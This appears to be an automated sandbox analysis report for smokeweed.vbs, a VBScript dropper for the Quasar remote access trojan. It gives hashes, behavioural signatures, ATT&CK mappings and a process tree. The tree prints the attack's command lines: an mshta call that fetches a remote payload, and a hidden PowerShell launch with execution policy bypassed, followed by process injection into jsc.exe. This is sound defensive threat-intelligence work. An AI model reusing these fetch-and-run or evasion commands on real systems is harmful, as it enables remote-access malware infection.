quasar | 78a881cbc86ce0458d8db0eae0c92a8e016537796ef3ab7928037f4a51d4ca2f

General

Target

smokeweed.vbs
Size

3KB
MD5

07b8be238ea7e4d28ab60dd6c485f663
SHA1

73c2226a8592f0a729a837013d40e5b55ecb4415
SHA256

78a881cbc86ce0458d8db0eae0c92a8e016537796ef3ab7928037f4a51d4ca2f
SHA512

9d1bcf4a17c4b7986e2fec74f0d4ba020ea2e4933ff9cad19a639d87f0998a32439a227bcd55bf37d08886276a11ede28f06a60af12b6a368b5cdbd2544cf7a0

Score

10^/10

quasar spyware trojan

Malware Config

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

6 1760 mshta.exe
8 1760 mshta.exe
9 1680 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1680 set thread context of 1792 1680 powershell.exe jsc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

708 powershell.exe
708 powershell.exe
1680 powershell.exe
1680 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exejsc.exe

description pid process

Token: SeDebugPrivilege 708 powershell.exe
Token: SeDebugPrivilege 1680 powershell.exe
Token: SeDebugPrivilege 1792 jsc.exe

flow	pid	process
6	1760	mshta.exe
8	1760	mshta.exe
9	1680	powershell.exe

flow	ioc
10	ip-api.com

description	pid	process	target process
PID 1680 set thread context of 1792	1680	powershell.exe	jsc.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
708	powershell.exe
708	powershell.exe
1680	powershell.exe
1680	powershell.exe

description	pid	process
Token: SeDebugPrivilege	708	powershell.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	1792	jsc.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

WScript.exeWScript.exemshta.exepowershell.exe

description	pid	process	target process
PID 292 wrote to memory of 1440	292	WScript.exe	WScript.exe
PID 292 wrote to memory of 1440	292	WScript.exe	WScript.exe
PID 292 wrote to memory of 1440	292	WScript.exe	WScript.exe
PID 1440 wrote to memory of 1760	1440	WScript.exe	mshta.exe
PID 1440 wrote to memory of 1760	1440	WScript.exe	mshta.exe
PID 1440 wrote to memory of 1760	1440	WScript.exe	mshta.exe
PID 1760 wrote to memory of 708	1760	mshta.exe	powershell.exe
PID 1760 wrote to memory of 708	1760	mshta.exe	powershell.exe
PID 1760 wrote to memory of 708	1760	mshta.exe	powershell.exe
PID 1440 wrote to memory of 1680	1440	WScript.exe	powershell.exe
PID 1440 wrote to memory of 1680	1440	WScript.exe	powershell.exe
PID 1440 wrote to memory of 1680	1440	WScript.exe	powershell.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe
PID 1680 wrote to memory of 1792	1680	powershell.exe	jsc.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\smokeweed.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:292

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\smokeweed.vbs" /elevate
2⤵
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://z.zz.ht/bBtXS.txt
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1760

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:708

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -command C:\Users\Public\Datax.ps1;
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1680

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1792

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
445e625b0e5c155c88686d118ea2bf81

SHA1
a96aa3a608e8d51cc77f6fd26545fb1500fca707

SHA256
db8990261e2fb46cafc5e008d7e50a0494d24ad666d31812137ad753250fa7fa

SHA512
5850920b93438b970671038900c14663fb506e085c7acf5c3494059cc6114cc5ae2c8b468acc56dcb0be77adc3417a7206ee81a5614eac3cdc3a5118391f0e70

Download Submit
C:\Users\Public\Datax.ps1
MD5
c85a52e535d54935f25bc43e8b393b1a

SHA1
963baebff776005de53b5c68608c5c5205400b50

SHA256
0545f59b84c4323711d72e396797694068bd7a56695aea0cdd90352a4a0c7753

SHA512
729398ee2dbb41b6f38c106dd3a75fbb695f700b009e6f5267f4242588764a5b3b407b7e2fbb17f9fd4cfc8684e04c39c2e68b6b400de750c2c2c4967d49f184

Download Submit
memory/292-2-0x000007FEFC4E1000-0x000007FEFC4E3000-memory.dmp

Filesize
8KB

Download
memory/292-4-0x00000000024A0000-0x00000000024A4000-memory.dmp

Filesize
16KB

Download
memory/708-11-0x000007FEF3D20000-0x000007FEF470C000-memory.dmp

Filesize
9.9MB

Download
memory/708-9-0x0000000000000000-mapping.dmp

Download
memory/708-12-0x0000000001F10000-0x0000000001F11000-memory.dmp

Filesize
4KB

Download
memory/708-13-0x000000001A9E0000-0x000000001A9E1000-memory.dmp

Filesize
4KB

Download
memory/708-14-0x00000000022C0000-0x00000000022C1000-memory.dmp

Filesize
4KB

Download
memory/708-15-0x000000001A7E0000-0x000000001A7E2000-memory.dmp

Filesize
8KB

Download
memory/708-16-0x000000001A7E4000-0x000000001A7E6000-memory.dmp

Filesize
8KB

Download
memory/708-17-0x0000000002470000-0x0000000002471000-memory.dmp

Filesize
4KB

Download
memory/1352-8-0x000007FEF6A60000-0x000007FEF6CDA000-memory.dmp

Filesize
2.5MB

Download
memory/1440-19-0x0000000002560000-0x0000000002564000-memory.dmp

Filesize
16KB

Download
memory/1440-3-0x0000000000000000-mapping.dmp

Download
memory/1680-24-0x000000001AC90000-0x000000001AC92000-memory.dmp

Filesize
8KB

Download
memory/1680-47-0x0000000002750000-0x0000000002751000-memory.dmp

Filesize
4KB

Download
memory/1680-22-0x000007FEF3D20000-0x000007FEF470C000-memory.dmp

Filesize
9.9MB

Download
memory/1680-28-0x000000001AC94000-0x000000001AC96000-memory.dmp

Filesize
8KB

Download
memory/1680-50-0x0000000002760000-0x0000000002766000-memory.dmp

Filesize
24KB

Download
memory/1680-30-0x000000001BA30000-0x000000001BA31000-memory.dmp

Filesize
4KB

Download
memory/1680-31-0x0000000002630000-0x0000000002631000-memory.dmp

Filesize
4KB

Download
memory/1680-34-0x0000000002700000-0x0000000002701000-memory.dmp

Filesize
4KB

Download
memory/1680-46-0x0000000002740000-0x0000000002741000-memory.dmp

Filesize
4KB

Download
memory/1680-18-0x0000000000000000-mapping.dmp

Download
memory/1680-48-0x000000001BB00000-0x000000001BB01000-memory.dmp

Filesize
4KB

Download
memory/1680-49-0x000000001AC9A000-0x000000001ACB9000-memory.dmp

Filesize
124KB

Download
memory/1760-6-0x0000000000000000-mapping.dmp

Download
memory/1792-51-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/1792-52-0x000000000045819E-mapping.dmp

Download
memory/1792-53-0x00000000746C0000-0x0000000074DAE000-memory.dmp

Filesize
6.9MB

Download
memory/1792-54-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/1792-56-0x0000000004740000-0x0000000004741000-memory.dmp

Filesize
4KB

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Analysis

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